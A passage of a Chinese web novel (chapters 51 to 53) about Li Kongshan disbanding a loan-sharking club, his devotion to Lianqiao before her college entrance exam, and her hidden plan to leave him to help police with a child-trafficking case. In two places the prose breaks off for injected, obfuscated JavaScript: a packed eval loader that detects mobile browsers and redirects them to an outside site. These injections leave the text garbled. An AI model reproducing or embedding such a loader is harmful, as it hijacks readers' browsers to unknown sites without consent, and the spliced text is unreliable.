屋顶的漏洞已经补好,下一次雨季来临时不会再有漏雨,但宇瑞自己戳出的漏洞,已无法补好。 * 回去的路上,小海接到一通电话,扭头对李空山说:“哥,黑子哥要找你。” “他找我做什么?” 李空山总觉得这个爱玩失踪的人突然找他没什么好事。 小海也想不明白,“我估计可能跟赵书誉被查了有关系,他可能想问是不是我们提供的证据。” 李空山带着小海走入黑武俱乐部的底层,这里也是黑武会的会议间。 “听说你找我啊?什么事?” 李空山自在得就跟这里是自己家一样,一走进来就拉出长桌对面的凳子坐下。 站在长桌对面,背对着众人的男人凝视眼前的壁挂老虎头许久后转身,缓缓看向李空山。 突然,他笑了起来,乐呵呵走到李空山旁边坐下,一点儿也没有大老板 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13203677|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的架子。 “哎,山娃儿,我刚刚的气场怎么样?有没有庄严、恐惧、肃穆的气质?” 李空山随手抓一把果盘里的瓜子嗑,朝他丢去一颗,“你又看电视上头了是吧,一天天的就爱在那儿演。还有啊——” 他偏头看着身旁披着西装外套,里面却穿着大白背心的中年男人,严肃告诫:“以后别叫我山娃儿!多难听啊,太毁我形象了。” “嘿嘿嘿。山娃儿多好听,哪里难听了,不难听不难听。” 男人拍拍李空山的后背,满眼期待和好奇,“赵书誉被查了,听说那天人证物证全都有,这事儿是你干的吧。” 李空山看他一眼,说:“不然呢。除了我,谁还这么足智多谋啊。” “瞧把你能的。”黑子乐呵呵指了指李空山,渐渐地,他的笑容慢慢散去,神情凝重而真挚不少。 “空山,当初我们的约定,你完成了,我特别感谢你。” “也就你还一心一意地记着那约定呢,我早都忘了。” 李空山看向黑子,男人中年发福,但年轻的时候还是很帅,五官俊挺,今天一身随意又不太随意的打扮,脚上穿着的仙女紫人字拖格外耀眼。 “哥。” 李空山盯着黑子的脚,“你啥时候变品味了?这么极端?” 黑悬羞涩地放下二郎腿,急着跟李空山炫耀,“怎么样?合不合适?我女儿的,她说要给爸爸买一双拖鞋,就按着她喜欢的颜色买了。” “哦……挺好,挺合适。” 李空山看向黑子身后的助手,问:“黑子哥最近经常提起他的女儿吗?” 助手回答他:“反正比以前要频繁。” 是啊,李空山差点都快忘了,他和黑子之间的那个约定。 几年前,原名陈黑子的他女儿被拐了,陈黑子到处找女儿的下落,最后得到消息说自己的女儿出现这个叫清流镇的地方。 从此以后,陈黑子就在这里创办了黑武俱乐部,培养一大批能打能斗的青年,暗中寻找女儿和当年那批拐卖团伙的下落。 无比痛恨人贩子的陈黑子改名黑悬,发誓要找到当年拐卖团伙的那些人,找回自己的女儿。 只是随着年纪慢慢变大,他也时而清醒,时而糊涂。 清醒时,沉浸在女儿已经死去的痛苦里,糊涂时,无时无刻跟身边人炫耀他的女儿又送了他礼物。 李空山十六岁的时候遇见了陈黑子。 陈黑子看中李空山的耿直义气和身上那股倔劲儿,把李空山招进黑武会。 黑武会看上去在做着放高利贷收债的生意,实际上,里面的人一直在暗中寻找线索和消息。他们利用黑武会的广泛圈子不断打听。 当年,那批人贩子团伙之所有能如此轻易把拐卖来的儿童安置在清流镇而不被发现,离不开赵书誉这镇长的“帮忙”。 于是,黑悬和李空山约定,李空山帮他搜集赵书誉犯罪的证据,而黑悬则努力寻找当年那批人贩子团伙的下落。 因为——李空山想知道他那宁愿扔下自己,也要去帮人贩子犯错的妈妈到底跑哪儿去了。 那是十六岁的李空山的想法,随着他渐渐长大,他变得不再需要妈妈,也不渴望找妈妈。 陈黑子年轻的时候带着手底下的兄弟出去闯荡,被人打过脑袋,现在随着年纪逐渐变大,他容易出现幻觉。 比如刚刚那双别家小朋友扔在垃圾桶里、却被他捡起来,非要声称是女儿给自己买的仙女紫的人字拖。 51. 第 51 章 “空山,我跟你说正事。”陈黑子一本正经地按住他的肩膀。 李空山漫不经心问:“什么正事?” “黑武会必须得解散了。” “啥?” 李空山脑瓜子嗡的一下,愣了许久才反应过来这是在现实。 “突然解散干嘛?” 陈黑子叹息一声,“这也是没办法的事儿啊,赵书誉被带走检查,清流镇方方面面全要严查,像我们这种明目张胆放高利贷的,已经有不少人去举报我们是□□,我们也的确挺像的,这不,得强制关门了。” “说解散就解散,那你以后打算怎么办?” 陈黑子认真思考了下。 “反正我还得继续找人贩子,空山,黑武会的兄弟我留给你。他们一直都跟着你,早就对你有感情了。我也知道你们情深义厚,想走的呢就让他们走,想留下的呢就留下,由你带着他们找个正经事儿做,好好打拼。” “那你之后去哪儿?” “天南海北,去哪儿都行。” “爸爸——” 陈黑子的幻听又犯了,他听到有人在喊自己,立马起身,笑着对李空山说:“我女儿在喊我了,空山,你是个值得托付的人,这里的兄弟交给你,我放心。该说的都说了,你加油,我去找我女儿了。” “黑子哥……” 李空山笑也不是,不笑也不是,目送着陈黑子兴高采烈跑出门去找喊自己的女儿。 助理走到李空山面前,向他交代:“空山哥,你放心,我会照顾好黑子哥,各种清理工作我也会在这两三天之内完成,等我们走以后——其他人就交给你了。” 李空山点点头,给了他一个肯定的眼神,不知下次再见会是多久以后,也不知下次见面是否早已物是人非。 “嗯,知道了,我会照顾好他们,你们也是,照顾好自己。” 他站起来,挥手,目送两人离开。 昏暗的房间被打开房门,透过一道光进来,陈黑子和助理相继走出去,李空山站在原地,不知在想什么。 他又要……开始一个人了吗? * 黑武俱乐部的后院。 小海按照李空山的吩咐,把所有人都召集到这里。 院子里种满青绿色的佛甲草和桂花树,绿意盎然。院子的西南角的方向挖了一个水池,里面喂养着金鱼,几篇荷叶铺在上面,成为它们初夏的庇护。 所有人站在院坝里,两手负在身后,站得笔直,像极了训练有素的专业卫士。 李空山站在台阶上,目光一一扫过众人,他记得每个人的脸,记得每个人的名字。 有的是已经进来了两三年的熟人,有的是刚进来一年不到的新鲜面孔,有的走投无路所以来投靠黑武会,有的是看中了李空山的人品,加进来想和他一起闯荡。 无论哪一种,李空山都由衷感谢这一生能与他们相识。 “大家都认真听我接下来说的话啊。” “想必你们也听说了,由于一些不可抗力的因素,黑武俱乐部必须解散了,这意味着,你们再次恢复自由之身,你们中的人,无论谁,只要有想去的地方,想去做的事情,我都支持,男儿嘛,本就应该勇敢闯荡、打拼、无所畏惧。我支持,我也祝福。” 李空山来回走动着,继续说:“黑武会虽然不能再给你们提供庇佑,但无论谁想走,我都会给他一笔钱,扶持他。当然,你们如果想留下也可以,但我不能保证你们以后跟着我一定有饭吃,也不能保证你们以后一定能住上最好的房子、开上最好的车、大富大贵。” “所以——你们一定要想清楚,是去是留,选择权全在你们手中。” 人群中有人发话:“哥!我们不走,我们要一直跟着你!” 此人一说话,全场的人齐刷刷开口,没有一个人例外:“没错!我们就要跟着你!” 李空山的正经不过三分钟。 他立马把背在身后的手放下,一脚踩在台子边的石头上,一边匪夷所思地疑惑:“不是,你们为什么啊?出去闯荡不好吗?跟我混没啥前途di,我就是烂人一个。” “哥!你不是。” 站在最前面的小海笑嘻嘻看着李空山,“你是除了父母以外,待我们最好的人,我们就是铁了心要跟着你。” “铁了心跟着我喝西北风是吧。” 李空山摆摆手,苦思冥想,势必要想出什么借口理由,让他们走上该走的路,而不是跟着他有了上顿没下顿。 其中一人见李空山还在思索,目光炯炯,站出来说,“哥,以前我们中的谁无论遇到困难,你总是第一个站出来帮我们解决,我们有谁遇被人欺负,你总是第一个站出来帮我们教训,甚至不管是我们做错了还是对面做错了,你总是先说——打了你的兄弟,就是他们的错。” “发洪水的时候,你跑到兄弟们家里去帮忙搬家具,大旱天的时候,你顶着大太阳去帮兄弟们家里的老人到蔬菜地浇水,半夜背着急性阑尾炎的小海去医院,每年过年拿到奖金后第一个分给兄弟们去吃香喝辣……每一个我们需要的地方,总有你。” “哥,你对我们怎么样,兄弟们心里全都有数。兄弟们就是认定了你,你去哪儿,我们就去哪儿,你不走,我们也不走。我们是兄弟,就得有福同享,有难同当,不是吗?” “你瞧瞧你瞧瞧。读过书的人说的话就是不一样啊。” 李空山坐在体积庞大的假石上,单腿曲着,垂下一条腿,别开脸,不想被人看见自己有些动容的眼。 小海看出李空山此刻心底的柔软,笑着上前一步,说:“哥,反正兄弟们的意思你也知道了,我们全都赖着你不走,你赶我们走也不行。” “就是!” 所有人异口同声,乐呵呵附和。 “随你们。” 李空山抬起脑袋,装作一副满不在乎的样子,“你们爱咋咋地,反正到时候没饭吃、饿肚子别怪我。” 众人的笑声回响在后院,那是独属于十八、九岁少年的笑声。 初夏的光辉洒在每个人的肩头,照亮少年的眼眸,他们打闹着、逗趣着,仿佛青春永远驻足在当下。 * 现在是五月份,再过一个月,连翘就要到市里去参加高考了。 李空山的心情也不知不觉变得忐忑。 虽说他是个实打实不屑于读书的人,从小到大就没对读书产生过超过三分钟以上的兴趣,但是连翘的所有事对他来说——都很重要。 黑武会解散以后,李空山就带着手底下的兄弟做起了本分生意。附近几个乡有许多独守在家的老人种植着几大块田的农作物,收成之时,会有贩子来镇里收农产品。 但在乡下老家开垦农作的老人大多腿脚不方便,走去镇上一趟就得花四十多分钟。 李空山就带着手下的人帮老人直接送农作物带到市里的市场去卖。 越过低价收货的贩子。 一些不过十九、二十岁的少年下田,上山,运玉米、运稻谷、运花生,从前的街头混混摇身一变成了成农家小帮手,他们与老人的距离拉近了,皮肤也晒得更健康。 李空山为了不被连翘嫌弃,每次拉货去市里的时候,总是把自己遮得严严实实。虽然没晒黑多少,但还是有略微的影响。 某天,李空山照完镜子,坐回床边,耸拉着脸,看着写完作业在收拾书包的连翘,一脸委屈:“尧尧,以后我要是成了一块小煤球,你还要我吗?” “怎么这么说?” 自从和李空山住在一起后,连翘越来越发现,李空山其实是个特别容易玻璃心的人——当然,仅限于当他的颜值受到威胁和挑战时。 连翘自然明白李空山在想什么,故意笑着走到他面前,大大方方解释,“李空山,晒就晒了嘛,没关系的,小小的太阳威胁不了你如此伟大的颜值。” “再说了,从来都不是我会不会还要你,是你——愿意要我。” 她目不转睛注视着他的眼眸,两个人屏息,沉默着,任由甜蜜的情愫四处蔓延,像河流,像风浪,像海湾,静谧而漫长。 一年前的下雨天,少年带着一帮人踢开田永贵家里的门,从她敢赌李空山不会见死不救时,两个人的命运便已经开始紧紧交缠在一起。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211149|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >李空山清清楚楚地看见了连翘眼里的珍惜、在意和真挚。 “过不了多久,我就要去参加高考了,你会不会担心我考不好?” “当然不担心。” 李空山说起话来,总是高调不已,跟他这个人的行事风格一样。“你可是连翘哎,在所有人里,我最看好你,我相信你一定可以。” 连翘又问:“那要是我高考失利了呢?” “那也没关系。” 李空山格外认真,“你还有我嘛,大不了以后我罩着你,你自己说的,人生有很多种可能,不止脚下这一条路。” 连翘扬起浅淡的嘴角,注视李空山,她从来不需要他给予她任何承诺,因为她比任何人都清楚——李空山是一个敢作敢当敢负责的人。 从他愿意收留她的那一天起,他绝对不会说甩开就甩开。 但她依然需要自己踏上只属于自己的战场。 蹲在李空山身前的连翘起身,从桌子上拿来成绩单递给李空山,“呐,你看。” 李空山漫不经心扫一眼,神情随后变得格外震撼,“连翘翘,你分数又提高了?” 连翘倔强地抽回李空山手里的成绩单,“这还不是最后的结果呢。” 她低下头,把成绩单折好以后,又抬起头看着李空山,嘴角轻轻上扬。 “不过……我希望最后的结果也能这么好,这样,我就可以申请成为你的骄傲了。” 李空山愣了半响,目不转睛注视着连翘,这一次,大大咧咧又爱张扬的李空山终于按奈不住眼里的真情自然流露。 “你这话可就说得不对了啊。” 他说:“你本就是。” - 一次放学,连翘再一次见到了当初初来乍到清流镇就处处打听田永贵的孙阚平。 她转身就跑,孙阚平眼疾手快挡在她面前,把她拦下,“就这么怕见到我?” 连翘知道自己这次跑不掉了,便也不再逃,一脸坦然,无所谓说:“因为见到你肯定不会有什么好事。” 孙阚平两手叉腰,无奈地看着眼前这个女孩,他也说不上来为什么,总之连翘就是比大多数女孩子都要刚硬,骨子里似乎总藏着一股劲儿。 “你是个聪明人,不用我说你应该也知道,我又来找你,肯定是因为早就已经清楚你是谁了吧。” 她依旧坦然,语调轻快,“是啊,我是叫连翘,也是田永贵户口本上那个连翘,然后呢?有什么问题吗?我说过的,我没钱,他要欠了你钱,你自己找他去。” 孙阚平对她指指点点,“你你你,你这个小朋友,真是嘴硬啊,事到如今还跟我绕弯子。” 校门口外的人来来往往,学生背着书包嬉笑打闹,孙阚平出于警惕,把她拉到一边。 连翘面无表情,异常沉稳,“所以呢?你跑来校门口堵我,想做什么?” “榕城那边有消息了,当年拐卖案中的几个相关人物我们计划在一个月以后收网,你什么时候打算跟我走?” 孙阚平瞧了眼这座背靠丘陵的中学和破破烂烂的街道,“这儿本来就不是你的家。” 连翘不理睬他,继续往前走。 孙阚平在她身后出声,“喂,你当初不依不饶地跟警方打电话报警说油菜花田那边有秘密,忍气吞声在清流镇苟活这么多年,不就是为了这一天吗?” 连翘止住脚步,盯着斜前方被太阳灼伤的路面,“我给你们提供线索,只是我欠她们的。但什么时候走,我自己说了算。我可以跟你回去,也可以去协助辨认当年那批团伙里出现过的人,但不是现在,你不是说你们还没收网吗,那就等一个月后我高考完再说。” “也是。”孙阚平变得正经,像个家长教育孩子,做思想工作,“这一码归一码,该高考还是得高考啊,毕竟这人生就一次,可重要嘞。” “当然——你要是以后填报志愿上有疑惑也可以找哥哥我,毕竟我当年可是高分上的警校。” “谢谢,但不必。”连翘绕开他,坦然离开。 孙阚平站在原地,皱紧眉头,开始自我怀疑,“难道我看起来不像个靠得住的学霸?” 52. 第 52 章 又是一个夏天,阳光笼罩乡间。 农田分割成片,金黄麦浪被风吹散,翻滚向前,土腥味从地底裂缝中溢出,夹杂着青草芳香飘散在空气里。 戴着草织帽的农家人挽起裤腿,下田割水稻。 现在是早上七点三十二分。 天一大早,李空山带着人骑自行车来到乡间,见五大队的刘伯伯一个人在割水稻抱去稻谷堆,他指了指,对身后的人说:“你们辛苦一下,去那里帮下忙。” 紧接着,他又默不作声走到另一边满眼惊讶的小海身后,猝不及防拍了下他的肩,装模作样询问,“看看看,看什么呢。” 小海张大嘴巴回头对李空山说:“哥,我从来就没见过这么宽的水稻田,而且种下这些庄稼的全是老人,他们也太厉害了吧!” “瞧你一副没见过世面的样子。” 吊儿郎当的李空山走到田坎边,“正好今年大丰收,反正我们也没事,等着运稻谷到市里去也是等,还不如现在来帮帮这些老人家。” 李空山就着田边坐下,黄土地里长出的野草悄悄霍着他的脚。 他望着一望无际的稻田和在大太阳下劳作的农民、老人,说:“你看到了吗,年轻人为了更好的工作、更体面的事业、更好的居住环境,慢慢地就离开了他们所出生的地方。他们在外面结婚、生子、变老,从一开始的每年过年都回来,到后来的出去旅游没时间,故乡也在被大多数人慢慢遗忘,遗忘在脚下。也不是说往外走不好,为了奋斗,人确实应该往外走,可现在的乡间和小镇一眼望去全是老人,其实也蛮心酸的。” 小海跟了李空山多年,比任何人都清楚,在外人看来没心没肺的李空山其实心思也挺细腻。 他不想见李空山如此惆怅伤感,特意乐呵呵笑笑,坐在他身旁。 阳光笼罩了大地,也笼罩了坐在田坎边上的两个少年。 他们眼里装的不仅仅是成长途中的蜿蜒小路,还篆刻着长大以来大大小小的伤痕。 小海向不远处停下来擦汗的伯伯挥挥手,乐呵呵打招呼,真挚而诚恳地询问身旁的他:“哥,那你说,以后有机会的话,你会离开清流镇,到外面的大城市去嘛?” “谁知道呢。” 不知想到了什么,李空山的眼眸忽明忽暗,让人难以捕捉其间的真意,“反正我会带着你们好好活下去,你们铁了心跟着我,我李空山就得对你们负责到底,至于会走到哪里……听天由命咯。” 小海八卦地看一眼李空山,“我看你说的不止我们,还有你家里住的连翘吧。” 李空山傲娇地盯他一眼,趾高气扬,“知道还问?” “我还不是想看看你提起她有多不一样嘛。”小海喜笑颜开地问:“前几天你一直唠叨下周三是个特别的日子,那到底是个什么特别的日子,你还记得不?” 李空山盯他一眼,一本正经,“还用你说,是什么日子我当然知道。” 他收回目光,盯着带好手套的手,自豪又骄傲:“那天可是我家连翘参加高考的日子。” 突然想到什么,李空山又变得格外感慨,“也不知道我家连翘翘现在心情怎么样,其实这什么考试吧,在我看来根本就不是个事儿,但我知道她肯定特别在意,我都不敢主动问她。” 小海抿了下嘴,一副轻蔑的模样,“得了吧哥,你还害怕呢?你要不敢,那母猪都会上树了。那一天天的,对着你家连翘叽叽喳喳个不停,明眼人谁看不出来。” “你还学会顶嘴了是吧。” 李空山端着手臂高傲地注视小海。 小海挑挑眉,立马改脸,笑着说:“哥,那我当然是不敢的。” 李空山挽起裤腿准备下田。 站在田坎边的小海犹豫再三,终究还是叫住了眼前的他。 少年回头,心无顾虑盯着身后的人,“你又叫我干什么?咋的?几天没见,想我想的走火入魔了不成?” 小海心事重重地盯着李空山,犹豫许久也没能想好究竟该如何开口,如果这个时候告诉李空山,他会怎么想?会很失落?还是很生气? 可他也多么希望他看到的全是假象。 “哥……” 小海终于鼓起勇气问李空山。 “你还记得当初我们第一次去田永贵家里时,连翘的表现吗?你比我更清楚,连翘的心里藏着很大的目的,她当初找上你就是为了实现她的目的而已,我是说……万一、万一她选择要离开你,你怎么办?” 小海还是不能忘记那天偶然撞见连翘在巷子口里和一个陌生男人说话这件事。 他冥冥之中总感觉连翘这个女孩就快要暴露出她那自私又无情无义的一面,抛弃留下她对她好的李空山。 李空山盯着小海,沉默几秒后又开口,轻扬嘴角,笑得很坦然,只要今天的连翘是在他身边的,他就什么都不怕。 “那又怎样。这世界上只有一个连翘,就算她走了,我也一样可以找到她,这世界不就这么大点?” 李空山往前走了几步,田中的水淹没他的小腿。 他回头时,阳光照亮他的眼眸,映出住在他心尖上的那个人的倒影。 “再说了,我家尧尧绝对不可能离开我,就像世界末日来临,我也依然不会抛下她一样。” - 高考考点在市里。 在高考的前一天,学校会集中带着镇里学校的学生到市里高校宿舍去办理入住。 出发的前一天晚上。 连翘睡不着,穿上拖鞋走出房间,跑到沙发边蹲下,目不转睛盯着眼前熟睡的少年。 他的睫毛长长的,很浓密,侧脸轮廓流畅,别致好看,鼻梁高挺,唇薄薄的,棱角鲜明,一身锐气。 睁开眼的时候,他的模样相当不屑,仿佛看谁都瞧不上。而此刻的他闭着眼睛,反倒是显得乖巧温柔许多。 连翘看着他,那颗焦虑不安的心也慢慢变得平缓,心情舒畅。 她的左手放在沙发上,右手伸出,悄悄地去触碰他的下颌。 连翘很喜欢他的下颌,无论从哪个角度看,都完美无缺,像是被精雕细琢过的艺术品。 李空山忽然翻了个身,吓得连翘赶紧把手撤回。 还好,只是翻身,他没有醒。 当初她刚来到这里的时候,李空山就跟她划出三八线,不让她靠近他的区域一丝一毫,可是没多久,他好像忽然心软了似儿的,和她交换睡的地方。 由她去房间里睡,夏天的时候他随便在客厅里打个地铺,冬天的时候就在沙发上睡。 不知不觉,一年也快过去了。 她想,时间过得真快,一年前的她绝对无法想象现在的自己能够生活得如此平坦舒畅,不再需要担心半夜被摔碗的声音吓醒,不再恐惧第二天是否又会被田永贵毒打一顿。 睡梦里,李空山好像看见当年暴雨天里在桥洞下等他的小女孩正朝他走来——这一次,梦里的她没有再被坏人抓回去了。 李空山想问问梦里的小女孩为什么对自己笑,到底是什么事情让她这么开心,而下一秒,梦消失了,他醒了过来。 眼前是清晰可见的连翘,是他在无数个瞬间总会心心念念着的女孩。 “你怎么过来了?又睡不着啊?” 李空山睁着惺忪的睡眼坐起来,往里边挪了挪,给连翘腾出坐的地方。 连翘坐在沙发上,正对着他,“有点儿,所以想出来看看你。” 李空山虽睡得很香,但更乐意多陪陪她,“那你怎么不直接叫我。我陪你咯。” “我还不是不想打扰你休息呀,你白天要出去忙,也很累的。” “不累。” 李空山伸出手去揭开她黏在眼下的发丝,连翘以为他要摸她脸,心跳差点漏一拍。 她眼里的李空山总归是和别人眼里的李空山是不一样的,因为只有她才能看见他这幅傲娇面孔下埋藏的温柔和细腻。 “李空山,我倒是有个问题挺好奇。” 她扯起被子一角抱在怀里,被子软绵绵的,很舒服。 “啥问题?你说。” “你睡了快一年的沙发和地铺,是什么感受啊?有没有觉得很委屈很难受?” “委屈个鬼。” 李空山两手反撑在身后,清醒不少,声音也不再懒散。 打开的墙灯映照出他的脸颊轮廓,别致有型,这是被夜色渡上的一层迷离。 连翘想,所以她才会觉得眼前的李空山如此耀眼,令人挪不开眼。 “我当初怎么说的你忘了吗,我一个大老爷们,就喜欢睡地铺睡硬的地儿,随便将就,凑合凑合就差不多行了。” “不过我倒是有个问题也想问你。” 她抱住被子一角,舒舒坦坦,“你问。” 他顿了下,犹豫过后开口,“等高考完以后,你有什么打算?” 连翘忽地呼吸一紧,她的目光在躲闪,不敢直视李空山,只是她自己去没有发现,以为自己已经很坦然。 “能有什么打算呀,该怎样就怎样呗,等高考录取通知书拿到,开学了,再去上学,放假了,又回来。如果你还在清流镇的话。” 李空山惊喜,坐得更直,眉眼里皆是难掩的激动和喜悦,“真的?你还会回来?” 连翘迷惘地看着他,不知所措,笑笑说:“当然还要回来,我不是答应过要把欠你的钱都还上吗,没还清之前,我当然不会随随便便走人。我只是开学住校这段时间会短暂离开而已。” “太好了,尧尧,我不要你还清任何东西,所有的一切都是我自愿给予的,我想说的是——如果是这样,你不欠我任何东西,你还会回来吗?还会走吗?” “当然要。你对我这么好,我为什么要走啊。除非我是傻子吧。” 她凑上去,轻轻捏住李空山的脸。 明明无比清楚自己在说违心话,可她还是若无其事地说了。她在欺骗李空山。 即便心里有些愧疚,可这又有什么办法。 她要活出自我——这是她埋葬了十年的愿望和梦想,她一定会离开,彻底逃离。 李空山还被蒙在鼓里,此刻她说什么,他都信。 她说不会走,还会回来,他就当真。 “我之前还以为你会离开我。” 李空山按住她的肩膀,注视着她的眼眸,“尧尧,我答应你,我一定会给你一个幸福的人生,会对你好,会把你一直放在心上,所以,不管你去哪里,我们都一起可以吗?我们,永远不分开。” 他向她许诺,“我会努力成为一个靠得住的男人,努力成为你的依靠,更会努力赚钱,经营好我们的生活。” 他说的不是他自己,而是“我们”,他和她一起的"我们"。 连翘也不知道为什么李空山得到一点儿令人高兴的答复就一股脑跟她说这么多,把自己的心里话全都说出来。 就像当初她调查李空山后对他评价的那样,真是个“傻子”。 她鼻尖酸酸的,不敢去看他,害怕自己愧疚的目光露馅,害怕他看出她心里的后悔。 李空山迫不及待同她分享他未来计划的一部分,“尧尧,等你以后上大学了,我就找时间去看你,要是地方远,我就一个月去一次,要是很近,我就每个星期都去。我要带你去看很多好看的风景,让你像别的女孩一样被人宠着爱着,过得很幸福很幸福。” 连翘只是垂下脑袋和目光,点点头,表现没什么异样。 女孩的声音很轻,下巴抵在他的右肩,同他别开脸,目光错开。“李空山,你怕我不要你了吗?” “怕。” 他也垂下目光,袒露他的不安和恐惧。 认识李空山这么久,连翘第一次从他口中听到“怕”,有那么一瞬间,她差点儿恍惚,以为这个李空山不是她所认识的天不怕地不怕的李空山。 她在心里骂李空山是个傻子,因为她根本不值得他如此真心对待,她明明一直,一直都在欺骗他。 女孩望着墙壁上微弱的暖黄色光圈,冷不丁继续问:“那如果有一天我走了,你会怎么办?” 李空山想也没想就回答。 “我会把你抓回来。” 她在说谎,他也是。 她还是会离开。 而他也曾问过自己,如果她有一天真的想离开所有人怎么办,他想,他即便再折腾惹事,他也还是会让她做出她自己的选择,即便——这意味着他需要放她走。 李空山逼自己不再继续往下想,勾起嘴角,假装很开心,“尧尧,反正你答应我,你不能离开我,我不想没有你。” “好——” 她的眼眸中有伤,淡淡的,抽出的每一丝情绪都是难过。她知道自己愧对李空山,她知道她不能遵守这个约定了。 可她不知道,李空山提出的这个要求的时间范围很长,很长意味着哪怕她晚点儿再实现,也没有关系。 也许这是最后一次有这样的机会能和他在静谧的夜里说心里悄悄话,连翘把心里住了很久的梦魇说给他听。 “李空山,你知道吗,我这些年来一直都在做同一个梦,在梦里,当初和我一样被拐走的女孩站在我的眼前,失望地盯着我,问我为什 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这场噩梦困住了她太多年,她无数个日日夜夜里都无法安然,十年了,她一直想摆脱这场噩梦,所以她才那么渴望离开,渴望着逃离这个地方,彻底和过往断掉一切联系。 她想要活出一次真正的自我,她想要以后的连翘只是连翘,而不是被拐走的连翘。 李空山就这样静静地陪着她,过了很久,他注意到抵在自己肩头的女孩一点儿动静也没有,偏头去看她,这才发现她已经昏昏欲睡了。 他把搭在身上的被子掀开,抱她走进她的房间,把她放在床上,动作始终轻轻的。 再把薄被为她搭在身上以后,李空山弯腰去关床头的灯。连翘对灯光很敏感,如果不关,半夜容易醒来。 而就在他弯腰的那一刹那,他的脸埋下去,离连翘很近。 连翘只是昏昏欲睡,但并没有睡着。她睁开眼睛看了下,又迅速闭上眼睛,微微扬起下巴,嘴巴如蜻蜓点水般碰了下他的脸颊。 随后,她又装作睡得很熟什么都不知道一般,翻身继续睡。 李空山顿住,手停在距离床头灯还有几厘米的地方,不知所措。 刚刚是他在做梦吗? 不是。 他的嘴角像脱缰野马无法控制,情不自禁翘起,缓了半天,他才缓过神。 在他的惊喜和羞涩下,床头暖黄色灯熄灭。 第二天,李空山在小海面前不停照镜子。 小海坐在桌边,往嘴里扔了颗花生米,实在看不下去了,忍不住开口吐槽,“哥啊,你至于这么自恋吗,在这儿照镜子都照半天了,你再看这张脸还不是长这样,至于看这么久吗?” “你懂个屁。” 李空山把从连翘那里薅来的手持镜盖下去,一本正经教训小海,“我不多看几眼,怎么留念想,今早我都没舍得洗脸,等晚点儿洗脸了,印记可就没了。” “印记?”小海愣了半天才反应过来,凑上去仔细打量,目瞪口呆,惊呼道:“你被劫色了?!” “你懂啥懂。” 李空山端着手臂,娓娓道来,脸上藏不住一点儿骄傲,“我这叫甘愿献身。虽然我是被亲的那个,但是我肯定是要对她负责嘀。” 就连在家里给窗台边上的这盆连翘花浇水的时候,他也会在那儿一个人沾沾自喜,一想到被她偷偷亲了下的侧脸,嘴角就放不下来。 甚至还对着连翘花盆栽自言自语。 “放心啊,放心,等你回来了,我会对你负责的,肯定肯定负责。” 连翘跟随大部队去市里中学宿舍入住,接下来的两天就是高考,李空山虽然夜里会在家里等她,但白天的时候,他还是会默默骑自行车到市里连翘所在的考点外守着。 他就蹲在树荫下,随手捡起一根树杈画图,幻想着他和她的以后。 却不知道,她已经在计划离开了。 就在高考前的一个星期,孙阚平找到连翘,通知她必须离开,越快越好,所以等考试一结束,他就得带着她走。 局里抓捕的几个参与拐卖案的转手人还需要连翘去确认。 这一次,连翘没有拒绝他,回答:“好。” 那是她等了很久的时刻,终于要在不久的将来实现,等她帮助警察把该抓的坏人都抓到以后,她就可以彻底摆脱过去的一切,开启只属于自己的人生。 校内操场边的空地里栽着几棵榆树。 孙阚平见连翘停下来,站在这里不动,便随她一起停下来。 有一件事孙阚平一直很好奇。 “在我看来,你不是愿意附庸于人的一个人,所以你为什么要选择李空山,又为什么一直憋着心里那股劲儿,在其他人欺负你的时候也从不还手?” 连翘没有立即回答他,脑子里想的全是该如何面对李空山,沉默了一会儿,她抬起头,指着眼前那片空地。 “你看到了吗。” “每当操场边的荒草长高的时候,就有人来把它们拔掉,可是这几棵榆树下的野草长高的时候,却不会有人来把它拔掉,它就这样长呀长,不知不觉长大了这么高。” “李空山就好像那棵树,我就好像树下的野草。只有在他的庇护下,我才能野蛮生长,不引起人的注意,也不成为他人的眼中钉,只是静静地按我的方式生长。” “好几次有人欺负我,我明明可以还手,但我从来没有报复回去,不是我不想,只是我想让李空山对我产生怜悯,这样,他就一直护着我,别人也不会关注到我是个怎样手段的人。” “毕竟,我的目的是逃离这里。” “虽然我依靠李空山,但我绝不做任何人的附庸,我要活出自我来,与我需要利用他的这样一种手段,并不矛盾。” “利用他是暂时的,依靠他也是暂时的,而活出自我,才是永恒的。” 连翘偏头看着孙阚平,“明白了吗?” 孙阚平点头,声音中带着些惋惜,“你也挺不容易,在田永贵和李空山两个人身边盘旋,悄无声息打探消息找线索,为了你想要的,你这一路走得比很多人都累。但是你真的对那叫李空山的小子只是利用的感情?我看他对你好像已经动了真感情哎。” 连翘转身,朝操场走去,动作利落又果断,转身的瞬间没有半点儿犹豫。 “在连翘活出自我之前,人和人之间的羁绊对她来说从来都不重要。这么多年我从来都没变过的一点就是——我做的所有事,只为我自己。我啊——只想快点儿离开这儿。” 53. 第 53 章 医院的走廊里充斥着消毒水的味道,病患家属吐槽医药费昂贵的声音从楼梯口里传来。 魏可萱提着装满热气腾腾饭菜的保温盒,已经数不清是第几次来,好在前几次谢女士都很安分,虽然愿意让魏可萱喂饭,但时不时还是会吐出几句嫌弃、斥责她的话。 让她尽早离楼巩远点儿。 魏可萱想,只要她再耐心一些,继续坚持,她的诚意肯定迟早可以打动谢女士,让谢女士接受自己。 